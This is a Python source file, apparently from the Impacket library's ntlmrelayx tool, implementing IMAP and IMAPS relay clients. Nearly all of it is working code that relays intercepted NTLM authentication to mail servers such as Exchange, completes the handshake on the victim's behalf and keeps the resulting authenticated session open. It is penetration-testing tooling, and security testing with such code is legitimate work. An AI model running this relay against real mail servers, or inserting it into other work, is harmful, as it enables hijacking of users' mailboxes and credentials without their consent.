1# Copyright (c) 2003-2016 CORE Security Technologies 2# 3# This software is provided under under a slightly modified version 4# of the Apache Software License. See the accompanying LICENSE file 5# for more information. 6# 7# IMAP Protocol Client 8# 9# Author: 10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11# Alberto Solino (@agsolino) 12# 13# Description: 14# IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15# 16import imaplib 17import base64 18from struct import unpack 19 20from impacket import LOG 21from impacket.examples.ntlmrelayx.clients import ProtocolClient 22from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23from impacket.ntlm import NTLMAuthChallenge 24from impacket.spnego import SPNEGO_NegTokenResp 25 26PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 27 28class IMAPRelayClient(ProtocolClient): 29 PLUGIN_NAME = "IMAP" 30 31 def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 32 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 34 def initConnection(self): 35 self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 36 self.authTag = self.session._new_tag() 37 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 38 if 'AUTH=NTLM' not in self.session.capabilities: 39 LOG.error('IMAP server does not support NTLM authentication!') 40 return False 41 return True 42 43 def sendNegotiate(self,negotiateMessage): 44 negotiate = base64.b64encode(negotiateMessage) 45 self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 46 resp = self.session.readline().strip() 47 if resp != '+': 48 LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 49 return False 50 else: 51 self.session.send(negotiate + imaplib.CRLF) 52 try: 53 serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 54 serverChallenge = base64.b64decode(serverChallengeBase64) 55 challenge = NTLMAuthChallenge() 56 challenge.fromString(serverChallenge) 57 return challenge 58 except (IndexError, KeyError, AttributeError): 59 LOG.error('No NTLM challenge returned from IMAP server') 60 raise 61 62 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 63 if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 64 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 65 token = respToken2['ResponseToken'] 66 else: 67 token = authenticateMessageBlob 68 auth = base64.b64encode(token) 69 self.session.send(auth + imaplib.CRLF) 70 typ, data = self.session._get_tagged_response(self.authTag) 71 if typ == 'OK': 72 self.session.state = 'AUTH' 73 return None, STATUS_SUCCESS 74 else: 75 LOG.error('IMAP: %s' % ' '.join(data)) 76 return None, STATUS_ACCESS_DENIED 77 78 def killConnection(self): 79 if self.session is not None: 80 self.session.logout() 81 self.session = None 82 83 def keepAlive(self): 84 # Send a NOOP 85 self.session.noop() 86 87class IMAPSRelayClient(IMAPRelayClient): 88 PLUGIN_NAME = "IMAPS" 89 90 def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 91 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 92 93 def initConnection(self): 94 self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 95 self.authTag = self.session._new_tag() 96 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 97 if 'AUTH=NTLM' not in self.session.capabilities: 98 LOG.error('IMAP server does not support NTLM authentication!') 99 return False 100 return True 101